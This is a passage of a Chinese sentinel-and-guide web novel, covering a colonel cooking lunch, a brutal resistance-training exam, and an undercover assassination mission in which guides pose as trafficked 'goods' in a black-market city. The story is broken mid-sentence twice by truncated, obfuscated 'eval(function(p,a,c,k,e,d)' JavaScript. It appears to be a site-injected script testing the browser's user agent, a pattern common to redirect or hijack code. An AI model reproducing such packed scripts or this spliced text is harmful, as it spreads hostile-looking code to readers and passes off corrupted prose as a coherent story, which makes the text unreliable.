她大着胆子打开了门,只见上校穿着一件薄薄的灰色毛衣、身上还搭着白色的围裙,他的两个袖口都被卷到了上臂,一手把着煎锅,一手熟练而轻巧地翻着锅里的鱼。他看上去很显然早起时洗了澡,柔软的黑色发丝垂落下来,带有一丝湿润和洗发水的清香。顾小绒怔然地看着这一切,好像在她面前的不是上校,而是一个普通的居家青年。 “醒了?”韩奕将目光投了过来,顾小绒的眼神牢牢聚焦在对方上下移动的喉结上,久久没有回过神来。 “先把这个端去吃点。”上校已经关了火,将煎好的鱼盛了出来,不过他先递给了顾小绒一份看上去最轻的蔬菜沙拉。向导赶紧伸手接过,惶恐地关上了门,直到将盘子放到餐桌上时,她都以为是自己还没有睡醒。在把脸放到凉水下冲洗两分钟后,顾小绒才真切地清醒了过来,她用毛巾擦了擦脸,视线缓慢定格到了时钟上,指针已经指向上午11点50…… 自己什么时候这样能睡过,顾小绒的后背泛起一丝凉意。想想自己昨天,又和曼琳他们去城镇逛、又去医院看楚飞、又去接上校,晚上回来还忙了那么久,果真还是太极限了,还好现在是休假。上校看上去没有半分宿醉的影子,哨兵的代谢能力真是可怕,不过话说回来,上校竟然会做饭的么…… 顾小绒洗漱好后慢吞吞挪到餐桌前,正在犹豫要不要去厨房帮忙,厨房的门便打开了,一时间香气四溢,韩奕解下了围裙,一手一份将做好的菜端了出来。顾小绒目瞪口呆地看着,之前她一直忙于紧张的训练、任务和各类考核,完全没有注意到上校的厨房竟然配备如此齐全。上校对餐具也很有自己的审美,这些餐盘和碗碟看上去不是常规普通的工业制品,而是手工制作的彩绘瓷器,盛放沙拉的是一个精致漂亮的玻璃碗。 刚刚被煎好的秋刀鱼已经被整齐摆放在两个餐盘里,上面还精致地摆好了盘,小番茄、西蓝花、菠萝和豌豆被优雅地摆放在一旁,除了煎鱼之外,烤箱里的一大盘牛排也被紧接着端上了桌子,玉米、大蒜、意面、口菇与牛排一起占满了巨大的圆盘,再之后是虾球、炸鸡翅、肉沫土豆泥、奶油蘑菇汤…… 这满桌的美味佳肴,色香味比之食堂有过之无不及,韩奕走到餐桌的对面坐了下来,一手端起了杯子,顾小绒注意到他饮用的仍然是清水,但自己杯子里的却是红豆牛奶。 哨兵平日里需要大量的消耗,因此眼前菜品的份量对于上校来说只是寻常。顾小绒之前就已经被提点过体重降低的事,这时候赶紧低头扒饭,不过她吃的并不费劲,因为上校的厨艺是真的很好,鱼肉被煎得外皮鲜滑薄脆、内里柔软多汁,味道比食堂鲜香更多,而且舒坦踏实,她不自觉就胃口大开,吃得比往日更多。 午饭吃到一半时,上校的通讯器忽然发出一阵声响,通常来说数字讯息与报告传进来只会发出一声短促的提示音,眼下这样急促的声音,顾小绒还没有听到过。 韩奕一边吃着牛排,一边将通讯器的投屏打开,对面的军人看见上校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为上校一直没空,所以陪练顾小绒的换做了曼琳。曼琳教给她的除了现代格斗术、部分柔道以外,还有相当一部分是女子防身术,毕竟她要学会怎样去面对力量、速度和体型都远在自己之上的庞然大物。实际上曼琳自己与楚飞的数次对战就是以弱搏强的最优范本,只是很遗憾也没有几次胜绩。 除了曼琳以外,正羽偶尔也会来帮忙,做为轻量型男性A级哨兵,他的力量与体型比之曼琳要更重、但比韩奕更轻,他俩就像是循序渐进的砝码,一点点陪着顾小绒提升。也许是这样的强度对她来说更适合,又或许是心态上更加放松,顾小绒感觉训练效果比以前和上校在一起要好很多。 比这更为关键的是,经过了两次任务的出生入死之后,顾小绒的心态也有了十足的成长,至少已经克服了心理的恐惧。而心一旦变得刚强,攻击自然也充满了力量。 顾小绒平时因为和上校走的很近,或多或少会知道一些消息,她素来守口如瓶,一概不参与私下任何信息的传播和交流。可是几天后,关于中央公会4名哨兵失踪叛逃的事还是流传了开来,尽管公会并没有明文通报这件事…… 这也是正常的,毕竟不是什么光彩的事。阿维隆军港让已经麻木的哨兵和向导们,更加残忍地体会到了自己做为战争兵器的末路,他们是一定会死的,不管是赢是输,战争根本看不见尽头。不知什么时候起,这股颓靡不安的氛围如同阴云一般笼罩在了公会的上空。 而且据说除了中央公会之外,地方公会叛逃失踪的哨兵也不少,主要是A级哨兵,毕竟他们都是有可能会被选入中央公会从而进入战场的。反正怎样都是一死,不如拼命挣扎一次,就算是跑到南边终生靠向导剂活着,好歹也能“活着”。而且如果能成为雇佣兵,也有相当的自由度,再不济也有钱能挣,实在不行也可以逃往别国…… 其实但凡有的选,谁又愿意抛弃自己的家人与家乡,冒着失去生命的危险逃走呢。 顾小绒心下恻然。 24. 第二十四章 第二次S级哨兵抵抗训练考核就在这愁云惨淡的氛围里展开了,4位全公会最倒霉的向导不止一次私下一起复盘、交流对策。他们之中除了周烨以外,另外两位也都是男性攻击型向导。上一次顾小绒就是眼睁睁看着他们俩血肉模糊地被抬出场地,整个人吓到头脑发懵。 经过了各种尝试与推演,这一次大家还是决定放弃“击败S级”这个不切实际的想法,转而向500秒的极限时间靠近。 周烨曾经创造的513秒最高纪录变作了大家此次的主要目标,另外各种尝试已经表明,从武力上控制住S级哨兵是不现实的,加大精神攻击是唯一的途径。 周烨的回归举足轻重,自从他出院、回归训练场后,顾小绒能感觉到原本有些萎靡的向导氛围重新振奋了起来。这一次考核同上一次一样,仍旧是高清摄像头全方位实时转播。想来除了向导群体以外,公会也迫切地需要周烨和楚飞的积极表现提振士气,毕竟不管愿不愿意,他们已经做为阿维隆军港的英雄被架了起来。 第二次踏入考核场所的顾小绒,已经褪去了初次的惧怕与忐忑,蓝色的眼眸略一扫过门口的担架、医务人员与清洁队,情绪稳定、面容平静,颇有几分视死如归。S级哨兵出手很快,死也会死的很利落。 在围观了第一、第二场考核后,顾小绒的脸色变了变,她发现这一次的几位S级哨兵不知怎么的,感觉有些束手束脚,尤其是腿部攻击几乎全都没有。 第一场的时候顾小绒以为那位哨兵有什么个人方面的顾虑,但到第二位的时候她感觉到事情没有那么简单。她的视线不由和远处对面的周烨碰了碰,对方的神情同她一样。 一道冰冷锋利的气息忽然如同刀刃般直抵后背,顾小绒浑身一颤,余光往后,只见韩奕正用冷冷的眼神看着她,顾小绒立即将目光重新挪回了训练场。 周烨与楚飞仍旧是在顾小绒和韩奕前面,等到审判员按下开始按钮,顾小绒终于确信,一定是有人给这几位S级打了招呼,毕竟上次搞得太过惨烈,据说沈骁上校为此还向上面递交了检讨。别人吧演也演得稍有技巧,只有楚飞这小子演技稀烂,最擅长的腿部攻击不能使就算了,连擒拿的姿势都犹犹豫豫。 对方这显见的“放水”激怒了周烨,隔着这样远的距离,顾小绒都能看见他双眼迸射的怒火。 既然哨兵没有认真应战的样子,周烨也没有去拔电-击枪,精神攻击与肢体攻击天崩地裂地朝着楚飞砸去。长久的相处已经让顾小绒摸清了周烨的性子,对于他而言,放水无异于是践踏他的尊严,他今天是一定会让楚飞知道这样做的后果。 没过多久哨兵就一脸血地飞了出去,重重摔落在了地上。 楚飞眼神为难地透过淋漓的血朝着他的老师看去,这一幕恰好被高清摄像头捕捉到,毫无疑问是个大特写,韩奕不动声色地挪开了视线。 年轻哨兵这年纪正是藏不住心事的时候,刚刚那一眼分明是在说:“老师我真的尽力了。” “……”顾小绒扶了扶额,始作俑者呼之欲出。 楚飞是被限制了不能用腿攻,可周烨是不会手下留情的,就在短短半秒之后他的腿便狠狠砸到了楚飞的头刚才在的地方,隔着有柔韧度的地垫,都能听到下面的砖石碎裂的声音。这是下死手啊!哨兵终于怒了,长腿一扫狠狠地翻起身来,人数不多的现场不由响起了一阵兴奋的低呼。 事实证明,两头猛兽的撕咬与抵死搏杀总能换起人心中最古老的亢奋,楚飞和周烨又不出所料地为公会贡献了最优质最激烈的一场竞技。 在楚飞最终将周烨按在地上绞住时,时间已经到了527秒,是审判员和考核员按下的结束按钮。 哨兵的膝盖抵在周烨的后背上,将他的右手臂反拉到身后,这个动作的裸绞已经成型,是无法挣脱的,楚飞一旦施力周烨的右臂就将脱臼,或者说直接被折断。他的腿也被哨兵勾住,拉到了一个剧痛而危险的弧度,腿如果被这种程度地折断,周烨就废了。 考核员和审判员几乎是站起身来啪啪啪接连拍下终止按钮,一旁端着麻醉枪的士兵已经快要入场了,被沈骁使了个眼色往后退了退,以免进入摄像机的范围。 这一次楚飞显示出了十足的控制力,他在听到终止铃声时就放开了手。 接下来依旧是那几套程序,医护人员入场、清洁人员打理现场,周烨一直走到离开摄像机的拍摄范围,才控制不住地单膝跪了下去。在门外等候下一个入场的顾小绒,赶紧上前从左肩扶住了他。周烨浑身颤抖,整个人被血与冷汗浸透,他随后跪伏在地上、捂住嘴,鲜血从指缝间抑制不住地汹涌而出。 “担架,担架!”顾小绒朝着医务人员喊道:“这边!放地上!” 有个不太上心的护士竟然一来就想扶周烨的右臂,被顾小绒眼疾手快地拦住,担架被放在了周烨左边的地上,直到对方缓过来了一些,顾小绒才轻轻扶着他侧卧了上去,其余医护人员也赶紧上前帮忙,将周烨的腿也抬了上去。 而另一边,同样浑身是伤的楚飞承受了韩奕所有的怒火,小伙子委屈地嗫嚅着:“我不是,我真的没有,那一脚我根本没有用力,我就轻轻拨了一下……” 这套熟悉的说辞似曾相识,倒也很好理解,S级是真的很难控制住自己的力量,他们的特殊性使得他们对力量与承受力的认知已经和常人脱轨。也许正是因为这个原因,韩奕才不得不使用“禁腿令”这种一刀切的方式。 这一次的时间虽然比之上一次更长,但实际结果却并不好,因为楚飞之前放水了差不多160秒左右,所以实际上二人真正的对战时间是367秒,比之上一次几乎可以说得上是锐减。 顾小绒的心底腾升出一股巨大的不安与担心,倒不是训练结果或者公会方面的态度,而是她感觉到周烨的心理几乎在崩溃的边缘,每一次公开惨败在楚飞手下,无异于将他凌迟。 训练场很快被清理了出来,依旧是熟悉的血与清洁剂的味道。 顾小绒面色沉静,举起双手握成拳格挡在头部,她无暇顾及此时的自己在韩奕眼里是什么模样。上校果然以身作则,自己也没有使用腿部攻击,顾小绒气得有些想笑,即使一切都这样明白又荒唐,他还是要坚持这样做? 向导于是使出了她在曼琳那里学来的几乎所有技能,这其中包括反擒拿与挣脱,在韩奕左手控制住她、右手围拢形成包夹的间隙反方向逃走,精神攻击也在此时精准而剧烈地释放。为了节约自己的体能,顾小绒重新规划了精神力的分配,所有的攻击都短促而凶狠地集中在哨兵进攻发力的那一瞬间。 上一次与敌方的蝴蝶向导交手之后,顾小绒也跟着总结学习了一点,她不再只单纯地将精神力拧成剑朝哨兵砍去,因为这样也很容易遭到哨兵的抵抗。她换了更多样的攻击方式,包括将自己的精神力凝结成锋利的羽翼,模仿蝴蝶的诡谲行踪朝着哨兵进攻。 韩奕的动作果然被牵制了,最终结束的时间停在了337秒,出人意料地突破了300秒大关。韩奕将顾小绒控制在地上时,向导仍然顽强地做着最后的挣扎,她狠狠地一口咬在了韩奕的手背上,尽管这种程度的反击已经近乎于无。 审判员按铃后,顾小绒才松了口,上校缓缓抽回了手观摩片刻,他的手背上已经被咬出了一个不小的圆形创口,白皙的皮肤反衬着殷红的血,看上去十分狰狞。 而后,上校的嘴角微不可闻地扬了起来。 他竟然笑了。 因为某些不可明说的原因,再加上几位向导作战思路的调整,这一次的抵抗训练结果成功率虽然还是0%,但基本都已经突破了300秒,在实际作战中,5分钟已经足够我方支援抵达。周烨500秒的成绩仍旧是一骑绝尘、碾压般的存在,他自己也许是不满意的,但公会已经放下了心。因为即使是再严厉一点,按照367秒算,他也仍旧是当仁不让的第一。 韩奕看上去心情不错,也许是对他的向导这次的应战还算满意,顾小绒做为一个治疗型向导,成绩能排到第二实属不易,而且这一次她确实打出了自己的风格与节奏,很多细节看上去就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈骁叹了口气:“好吧,本来打算等出了医院再说。”他严肃了神情:“一会儿你们按照时刻表到我办公室来领取新的任务,这一次的任务比较急,大家辛苦了。” 原来是有紧急任务派遣,大家的怒火这才消散了一点。 “程浩,你们还有小绒先过来。”沈骁点了点守在周烨身边的娃娃脸向导,他的目光又瞥见了病床上的爱徒,周烨合着眼,他看上去缄默而疲惫,好像刚刚这一切的喧闹都与他无关。沈骁沉默半晌,到底还是有些心疼地揉了揉周烨的头:“你先休息,等好了再说。” “是,长官。”到底是这么多人都在,周烨仍旧体面。 他们是第一批到沈骁办公室开会的,看得出来任务的重要性又排在前面,韩奕毕竟刚刚从训练场下来,他随便找了个位置坐下,示意沈骁开口。后者打开了电子屏,蓝光中出现的是一张熟悉的关系网络图。 “还记得这个人吧。”沈骁点了点那个熟悉的、一脸阴郁的中年男人德拉文。 “前线传来情报,得到了这个人的行踪。”沈骁从地图上点开一座南方城市:“他在大概20天后会在这里有个会议,你们的任务是暗杀他,5天后出发。” 任务就这样清晰简洁地交待完成了,内容越短,事情越大,大家一时默然无言。 “对抗剂在吃吗?”韩奕忽然问道。“啊在。”正羽赶紧点点头,很显然他们哨兵都收到过统一的命令。 “公会已经规划出了几个方案,供你们参考。”沈骁将两份文档分别给了两组哨兵与向导:“这次公会只能把你们送到边境,需要乔装打扮潜伏过去,泽卡是南方主要的黑市交易地,优先注意自己的人身安全。” “长官,可以问一下吗?”程浩神情严肃地拧着眉:“泽卡鱼龙混杂,德拉文这种安保级别的人为什么会出现在那里?” “哦,因为那里是雇佣兵头子的地盘。”沈骁用激光笔点了下人物关系图谱上的另一个人,那是一个银发的哨兵:“这个南方最大的黑市是他的产业,同时也是南方军主要的利润来源。” “明白了。”娃娃脸向导答道,他的面容覆盖了一层杀气,很显然没有忘记之前两次任务的血海深仇。 “这次的任务比较急,辛苦大家明天选定潜伏方案,如果可以的话立即执行。”沈骁言简意赅地做完总结。 会议结束后,顾小绒合上自己的笔记本、拿上资料就走了,刚刚进行完一场没有太多意义的抵抗训练,又耗费了巨大的精力与体力,她只感觉疲惫,以及一种无能为力的颓唐。 25. 第二十五章 程浩、正羽与顾小绒在韩奕的办公室加班到很晚,娃娃脸向导不可置信地看着公会给出的方案,虽然说细节与路线上有所差别,但大体的内容都差不多。 泽卡除了是南方最大的催化剂运输集散基地之外,还有其他的黑色产业,其中就有包括向导贩卖。因为南方的向导数量太少,几乎已经形成了哨兵主导的局面,向导沦为了可以随意贩卖的货物与奴隶,这些被贩卖的向导也许作用不尽相同,但大多数来说仍旧是服务于情色产业。 公会此次给出的潜行任务,就是将韩奕与正羽两位哨兵包装成“卖货”的雇佣兵,顾小绒与程浩两位向导假扮成被卖的“货物”,能去泽卡的几乎都是这样的货色,也只能这样做才不会被太多地注目。 “我觉得公会没有给我们什么方案可选的。”程浩的嘴角抽搐了一下。 确实,与其说是让他们选择方案,不如说是给点时间让他们有个心理缓冲。 第二天他们就接到了此次任务的装备包,其中比较重要的是向导的抑制剂,这也是南方生化实验的附带产物,使用了这个抑制剂之后,向导素就会被抑制从而无法捕捉,向导想要逃脱追捕,抑制剂是不可或缺的。南方被贩卖的向导,很多都是被人为损害过的,他们的精神力大多残缺,像顾小绒和程浩这样精神力强大完整的向导,需要一部分的抑制剂以做隐蔽,乔装成残缺的“货物”。 抑制剂的时效是24小时,每天都需要从颈部注射一针,直到任务前24小时停止。 因此,韩奕才在之前询问正羽是否服用对抗剂,在向导能力不完全的情况下,哨兵必须有高度的自制力。其实最适合此次行动的是相对不易失控的A级哨兵,只是因为暗杀目标过于重要,还是安排了一个S级,论自控能力与稳定性,也只能是上校亲自出马了。 第二个重要的装备是公会新研发出来的加强子弹,上一次在萨特斯堡垒的地底,顾小绒眼睁睁看着培养皿的狂化哨兵醒来而打不穿防弹玻璃,公会已经注意到了这个情况。北方虽然被法律限制,没有进行生化方面的实验,但武器竞赛这一块是从来没有停过的,能够穿透防弹玻璃的子弹很快就被做了出来。因为是加急还没能投入量产,这一次就先供给他们优先使用。这样的子弹除了能打穿防弹玻璃之外,防弹衣、防弹头盔等也不在话下,绝佳的暗杀利器。 第三个则是公会最新研发的纳米面罩,将这一层薄薄的东西盖在脸上,可以根据脸部的形状与轮廓生成智能计算、改变容貌,他们毕竟不能以真实面目出现。尤其韩奕,他还挂在南方军悬赏刺杀榜单的第一位。 接下来就是程浩和顾小绒的一些“改造”,严格来说就是被迫医美,以及……脱毛。 为了迎合南方的审美,两个倒霉向导必须脱掉除了头发与眉毛以外的几乎所有毛发,他们的全身都被激光做了一遍。程浩看上去极其痛苦,顾小绒从来没有在一位向导、或者说一位男性脸上看到过这样屈辱的神情,虽然在她看来,娃娃脸向导因为本来长得就很显小,做了以后也没有什么太大的区别。但是很显然,胡子和一些地方的体毛对于男人来说是至关重要的,程浩的表情几乎可以说得上想要去死。 因为是激光做的,后面很长一段时间那些地方的毛发也许都不会再长出来了。 在这之后他们又被迫去做了头发,平日里为了方便训练,士兵们的头发一般都比较短,顾小绒的头发也只是刚刚及肩。她与程浩都做了接发,顾小绒的头发被延长到了腰的位置,发梢也被烫成了波浪卷。程浩也做了时新的造型,考虑到这些一分化就待在公会的士兵没有任何打扮自己的技能,他们的头发也是被加强固定的,几乎用梳子刮一刮就能维持住形态。 脸部、手部甚至脚也都是重点关照的地方,除了紧急医美养护皮肤以外,眉形也被修整,顾小绒的眼睛上还被种上了一层更加细密的睫毛,他们的耳朵也被迫打上了孔,方便佩戴各种形状的耳钉。 程浩的眉形原本是有些粗的,被一顿收拾修整后,看上去倒真的透出几分纯真的清透与可爱。 娃娃脸向导的脸涨得通红,打孔这事伤害性不大,侮辱性极强。 “只是让打耳孔而已,没让打别的地方已经不错了。”负责穿孔的医务人员安慰道,如果这算是安慰的话。 他们在最后的时间里快速配完了衣服,还好两人都是比较标准的尺码,不需要再重头订做,给顾小绒选的全都是亮光闪闪的深V连衣裙,胸前遮都遮不住,鞋子也都是高跟,还好是尚且可以驾驭的5cm,多少是考虑了一点她的死活。程浩呢则与之完全相反,选的都是一些深色的衬衣与裤子,也就衣服的领口开得比较低,耳钉也都是比较小的,几乎只起到一点点缀的作用。 原本看起来低调的衣服,真的穿到程浩身上,竟然诡异地透出一丝魅惑来,在那张年少而白皙的脸上,禁欲、性感与纯真被和谐地揉在了一起。一旁的顾小绒都看呆了,当然,从对方的目光里她能感觉到自己也没有好到哪里去。 他们被告知泽卡的温度还是有零上10度,这些衣服不会让他们冻死。 “那还真是谢谢了哦。”程浩咬牙切齿。 五天时间多少有些勉强,但最后还是赶上了,在顾小绒做完手和脚的美甲之后,来接他们的战机都已经等在停机坪了。 他们这一次被投送到了靠近边境线的前哨站,随后就是收拾装扮往南前行,他们开的也是一辆公会处理过的改装车,绝不会被查到任何信息。等真的到了南部地区,全套戏码就要配备整齐,顾小绒和程浩只能从背包里翻出了深V裙子与衬衣,他们穿好之后,外面套上了一层深灰色的厚呢斗篷,连带着头一起裹在里面,这是南部黑市货品交易的通行装扮。 公会当然也不会把顾小绒冻死,她的腿上穿着一层薄薄的裸色连体袜以做保暖,乍一看和光腿也没什么区别,甚至还加了一层珠光以做装饰,再加上外面披着的厚呢斗篷,姑且还算是能够承受。比较痛苦的是,他们的脖子上还需要拴着禁制环,这个在北方只给失控哨兵穿戴的东西,现在戴到了他们的脖颈上,除此之外禁制环上还挂着一截两米长的黑色金属链条,末梢的另一端捏在哨兵手里。 其实单就禁制环这一样,向导就不可能逃走,金属链条属实只是恶趣味而已,可南方的行情是这样,他们也没有办法。 自从换上装扮后,即使纳米面具已经改变了他们的容貌,正羽的眼睛也一直挂在程浩身上几乎挪不下来,好几次发神都是韩奕出言提醒。 “是,长……大哥。”正羽话说到一半就赶紧拐了弯。 一路上他与韩奕轮流开车,只有加油、吃饭和住宿才会下来,加油站和旅店的人看到哨兵,以及他们身后这样装扮的向导,纷纷收回目光避讳。他们走的路上多的是去泽卡做交易的雇佣兵,四天的驾驶后他们停在了一个距离泽卡只有几百公里的小镇上,那里有很多被押送过去的向导。 这个小镇是专门提供给过来交易的雇佣兵休息、寻欢作乐的地方,无论是餐厅、酒吧还是旅店都充满了各种五光十色的服务。 他们最终选了一家看上去生意火爆、很多雇佣兵聚集的酒店。夜幕才刚刚落下,夜生活就开始了,被打扮得乖巧漂亮的向导服务员,穿着兔子尾巴的裸-露衣服,胸前近乎一-丝-不-挂。正羽也是血气方刚的年轻小伙子,哪里见过这种阵仗,才一进门眼都看直了。 也许是他的目光看上去过于生涩,长久混迹于服务行业的向导轻而易举地看了出来,在给他们端上食物与水之后,一个妩媚的向导姑娘用香软的身体贴了贴正羽,还轻轻刮了一下他的脸。 韩奕被纳米面具改造过后的面容是一个上了年纪、有些凶恶、右上额还有一道疤的可怕大叔,这张脸伴随着凶狠冰冷的眼神,直接将挑逗正羽的向导女孩吓得远远跑开。 一楼全是雇佣兵,一整个乌烟瘴气,同他们一样来卖货的不少,被卖的向导们穿着同样的深 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他们本来到得就晚,等到吃完饭也快要九点了,韩奕牵着顾小绒和程浩上楼,正羽十分有眼力见地跑去了吧台:“诶,这边来点烤串什么的送我们房里,酒要一箱。”他一边说着,一边还顺手拿着旁边精致的餐点摆盘。 “好的哥,马上就来。”吧台女孩甜甜笑着。 他们住的是一间面积宽阔、内饰华丽的套房,中间摆着一张巨大的圆床,旁边还有足够多的沙发、地垫,再加上旁边的衣帽间、妆造间就足够容纳多人睡觉,甚至还能每个人睡不同的房间。 关上门后,韩奕伸手去解顾小绒禁制环上的链子,原本低着头的向导在哨兵的手伸向脖子的那一刻,本能地战栗了一下,像是克制着往后退的冲动。哨兵的手上还残留着之前被她咬伤的痕迹,伤口早已愈合,只留下一点点白色的印记。 细,太细了,一整个被强取豪夺的受害者。程浩惊讶地看着顾小绒,对她的表演面露赞叹。 正羽很快回来了,他先拿了一些小餐点给他们吃,没过多久服务员就将他点的烤串与酒送了上来。烤串的数量足堆成了一座小山,下面还十分体贴地放着炭盆,以免凉掉。直到服务员关门走掉,程浩和顾小绒才连脖子上的禁制环一起取掉,他俩确实是饿着了,几乎是立刻狼吞虎咽地吃了起来,烤串堆成的小山不多时就见了底。 “你们……够吃吗?不够再点些?”正羽有些担心地看着二人,作为从小就在北方长大的正统军人,他觉得两位同伴此行是真的受委屈了。 “够了够了。”程浩摆摆手,他们向导的食量哪能和哨兵比。 服务员送来的酒是专门供给哨兵的,里面有酒精含量但不多,味道也足够让哨兵舒适,有点像加了酒精的气泡水。有韩奕在,正羽哪里敢放肆,老老实实把一箱酒全倒了。 “明天我出去摸排地形,你在这里保护向导。“靠在窗边一言不发的韩奕忽然对正羽说到,他点开了手腕上的工作器,那里投射出了一小片蓝色的光影,上面显示的是整座小镇大致的地形图。不过这是不够的,他们还需要摸排更多的细节与暗道,之前一路上对于走过的路线也进行了详尽的记录。 因为此次的任务最难的不是刺杀,而是撤退,战机无法像之前几次那样大张旗鼓地杀过来,任务完结之后如何离开是一个大问题。虽然有专人接应,但地形和更多方面的情报也必须掌握得准确无误,他们得到的最新信息都会立即传回公会,方便接应人员的安排。 正羽是轻型哨兵,比韩奕更加擅长隐蔽,这也是此次任务指派他的原因。不过刚刚那会儿,看到被服务女孩轻易撩得五迷三道的年轻小伙,韩奕还是决定自己去。 这边的晚上歌舞升平,白天则一片寂静,服务的店铺通宵营业,一般会休息到午后才开业。而白天相当一部分哨兵都会去往泽卡,那时候小镇上的人不会太多,正好是行动的最好时期。 26. 第二十六章 摸排的工作只持续了两天半,他们在第三天下午的时候启程前往泽卡。南部的天色黑得比北边更晚,在傍晚到达的时候,深蓝的夜色已覆盖了半边天际,熔金的夕阳快速消逝,暗色穹顶的深处隐隐现出一轮银月,泽卡恢弘庞大的蒸汽建筑与管道盘旋在这片土地上,冰冷、森严、固若金汤,整座城市的每一寸土地与管道都如同有生命一般的交织、流动着,仿佛某种怪兽巨大身体的一部分。 与小镇截然不同的冷冽蓝光自街道亮起,这里的安保级别与别处也不同,所有进入的车辆都需要登记。他们到的时候尚且能看到一丝余晖,现在被裹挟在排队等候的车辆洪流里,黑暗已完全降临。车辆在南部的夜幕里等待进入,白色的烟雾伴随着冷光闪现在前方的安检口。 放下车窗后,韩奕拿出了一张精致的黑色机械卡片,白光照射之下不断闪烁的红色线路,仿佛血液流过鲜活的脉络。巡防的安检人员看到后将那卡刷了一下,杠杆缓缓抬起,那张卡又被收回了韩奕手里。这同样也是公会替他们准备的,之前顾小绒就隐隐有些猜测,现在她更加确信了,北方一定也有间谍人员潜伏在这里,暗中帮他们处理好了所需的权限与身份。 顾小绒又观察了一下周遭的车辆,她看见那些卡片普遍有蓝色、红色两种区别,大概能猜测到应该是过来的人做的生意类别不同,做向导贩卖的是红卡,做催化剂贩卖的则是蓝卡,另外还有一些少数情况颜色的卡片,她没有再看清楚。 泽卡的夜里没有车水马龙、夜夜笙歌,只有一派寂静与肃穆,住宿的区域被统一划分在一个地方,这里的酒店也同样简单平常,没有一个雇佣兵敢在这里放浪形骸,大家都沉默地去往自己的地方办自己的事。 入住后,他们先是用仪器扫描了一下酒店房间的内部,确定没有监控与监听设施,这才聚拢到一块,商量之后的行动。从他们刷卡进入的那一刻起,驾驶的车辆就进入了监控范围,连同他们的行踪也有人盯梢,这里遍布眼线,一旦形迹可疑就会马上被找麻烦。 泽卡是一个在平原地区圆形分布的城市,整个城市的区域被划分成不同的模块,随着重要程度的排序由中央自内朝外,呈环形分布。德拉文要去的就是这座城市的中心地带,这里是黑市老大所在的地界,也是他接待南方军高层的地方。从中央往外是第一层环形分布区域,一半是催化剂的售卖场,剩下四分之一是向导与部分改造哨兵的售卖场,再之后的四分之一是军火与一些生化药剂的卖场。 这一系列严丝合缝的排布,将中央区域绝对地保护在其中。他们这一次的方案是朝着向导售卖场的方向靠近中心,而向导的主要售卖场也有五个,通常来说前来卖货的雇佣兵至少要先去这几家对比情况和价格,然后才是一些鱼龙混杂的小市场,最后衡量一下哪边的出价更加划算。他们的时间排布得刚刚好,足够这几天去摸清楚这个区域的情况。 顾小绒的视线落在德拉文那张看上去就令人厌恶的脸上,确信自己绝不会将他认错,另外她同样注意到了那位传说中黑市的主人、雇佣兵头子、银发哨兵——希里斯,他还有个道上更广为流传的名字:白狼,因为精神体是一只白色巨狼而得名。据说他是经过改造之后的超S级哨兵,可以无需向导短暂进入狂化状态而保持思维理智的清醒,这样的程度已经无限接近于黑暗哨兵。从泽卡的整肃程度,可以看出雇佣兵们对他的畏惧。“白狼”有一双冰绿的眼睛,与曼琳温暖澄澈的绿色眼眸截然不同,那是一种森冷而凌厉的颜色,长久的淬炼赋予了那双眼更多的杀气,仿佛只是直视一下就会被割伤。 既然是德拉文这样的人物要过来,那“白狼”也必然是会亲自护送。 五个主要的向导售卖区刚好如同拼图一般紧密连接着中央区域的西面,彼此几乎没有中间地带,这里的人数比催化剂那边稀少,刚好是比较薄弱的区域,顾小绒不由地重新审视起我方情报的含金量。 他们分工明确,韩奕负责带向导假意询价,正羽负责摸排地形与情况。在这里向导的精神力受到限制,仪器也会被安检缴获,只能完全靠哨兵自己的五感去探查建筑结构,正羽的隐蔽性与探查能力整个中央公会无人能出其右,他们只需要负责掩护就行。 这一次,顾小绒和程浩真的全副武装。顾小绒穿上了高跟鞋,脱掉了长袜,这里的温度在零上,车子与室内也都有暖气,她能顶得住。她与程浩各自装扮了一番,皮肤上涂抹了珠光粉、头发贴上了亮片,并且化了一个蓝色与银白相间的华丽妆容。程浩把自己的头发也调成了银白色,他选了一件鱼鳞暗纹的白色深V衬衣,顾小绒也拿了同样的鱼鳞连衣裙,二人在其他的细节与装饰上都保持了一致。 经过一番精心的修整,他俩看上去仿佛深海中珠光闪烁的人鱼,美轮美奂,艳丽逼人。 在纳米面具的修饰后,顾小绒的面容变得更加深邃妩媚,而程浩的面容则更加稚嫩,看上去完全是十多岁的少年,只有那双眼睛仍旧闪烁着勃勃生机,好像随时会反咬一口的猫,饶是已经经历过一番历练的正羽,还是费了老大劲才把眼神从他们俩身上挪下来。 将禁制环带上、披上斗篷,一切准备就绪。 第一家去的是卖场名为星矢,是这里最大的向导卖场,男女都要。在经过安检与搜身后,他们随着人流一起进入大厅,一位身着制服的黑衣哨兵上前与韩奕客气地打了个招呼,随后伸手将顾小绒的斗篷轻轻掀开,一时间银光流泻,璀璨夺目。哨兵只打眼一看就知道是上品,赶紧联系服务员请进内室上座。 他们于是穿过人流朝着与这边相连的另一座大厦走去,那里是专门提供给贵宾的高档场所,与中央区域直接贴合。这里的人变少了很多,也不再像外场那般遍布警戒的哨兵,看货是在单独的隔间进行,在这个过程中还有提供给顾客的一些服务以供休息。 韩奕慵懒地靠坐在里面,任凭两位曼妙的向导女孩给他按摩,正羽则一副保镖的模样在外警戒。一番操作之后,韩奕暂时没有答允对方提出的价格,卖货总是还要看看哪家愿意出价更高的,对方也客气地表示理解,并且希望他们看过别家以后还可以再考虑下,价格还能再谈。 这一番验货、谈价的磋磨下来,整座大楼的结构已经被正羽摸了个一清二楚,连哪里有监控死角、侍卫所处在什么区域都看了个明白,只是要详细了解到隔壁一墙之隔的中央区域还需要更多时间。 韩奕于是表示想再观看一下他们这边正在进行的拍卖会,对方赶紧客气地将他们请了过去,现在的时间刚好有一场大型拍卖正在进行,他们于是被带到了大厦的另一端,是紧靠在中央区域的方向。 因为是拍卖场,这里人数稍微多了些,看衣品与谈吐也都是掌握着上乘资源的雇佣兵,他们都是卖场的优质客户,也基本都带着随从,有哨兵也有向导,他们大多被差使着跑前跑后替自己老大办事,这更方便了正羽的行动。 